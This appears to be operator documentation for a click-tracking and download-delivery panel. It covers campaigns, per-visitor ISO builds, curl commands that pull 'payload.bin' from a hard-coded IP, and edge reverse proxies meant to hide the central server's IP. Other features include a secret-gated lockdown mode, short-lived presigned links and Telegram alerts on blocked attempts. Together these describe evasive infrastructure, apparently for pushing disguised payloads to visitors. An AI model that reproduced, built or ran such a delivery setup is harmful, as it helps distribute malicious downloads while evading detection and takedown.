Poll until state is success, then read download_url.
curl http://185.47.128.171:8090/api/status/c_…
# building → {"state":"building","progress":"building",…}
# success → {"state":"success","download_url":"http://185.47.128.171:8090/api/download/c_…",…}
GET/api/download/{click_id}
Send the visitor here. Marks the click downloaded, then 302-redirects to the campaign's delivery (direct link / R2) or streams the built ISO.
curl -L -o payload.bin http://185.47.128.171:8090/api/download/c_…
# Serve built ISO → 200, streams the ISO
# Direct link → 302 → your URL
# R2 link → 302 → presigned *.r2.cloudflarestorage.com URL
POST/api/complete
Optional — mark a click as downloaded manually (the download endpoint already does this).
Edge servers (hide the central IP behind reverse-proxy domains)
Provision a root Ubuntu box (sshpass) as a TLS-terminating nginx reverse proxy in front of this tracker. Visitors hit the edge domains; hits are forwarded here with the visitor's real IP, and — when lockdown is on — only requests carrying the edge secret are accepted.
Lockdown
When on, direct calls to /api/track, /api/status/*, /api/download/*, /d/* without the edge secret are rejected. Turn this on only after your first edge is provisioned and its domain resolves — then configure edges to proxy here.
Provisioned edges
ISO DeployHub API (upstream)
Where the middle app builds the ISO. Base URL points at iso.deployhub.pro and the token authenticates the build/download calls. Leave the token blank to keep the current one.
Cloudflare R2 credentials (optional)
Only needed for campaigns set to R2 link. Leave Public base URL empty to auto-generate a temporary (15 min) presigned download link from the credentials. If you set a custom domain (e.g. https://dl.example.com), the link is permanent.
Telegram notifications
Get notified on new visits, build results, blocked attempts, and download clicks. Create a bot with @BotFather, paste its token, and your chat id. Leave the token/chat-id blank to keep the current values.
Add campaign
Create a new campaign and attach its delivery method. Direct link and R2 link serve immediately (no ISO build); tick Build ISO to also build on iso.deployhub.pro (its config name equals the campaign name).
Campaign delivery
Choose what each campaign's download click serves: the built ISO itself, a direct URL, or an object from your R2 bucket.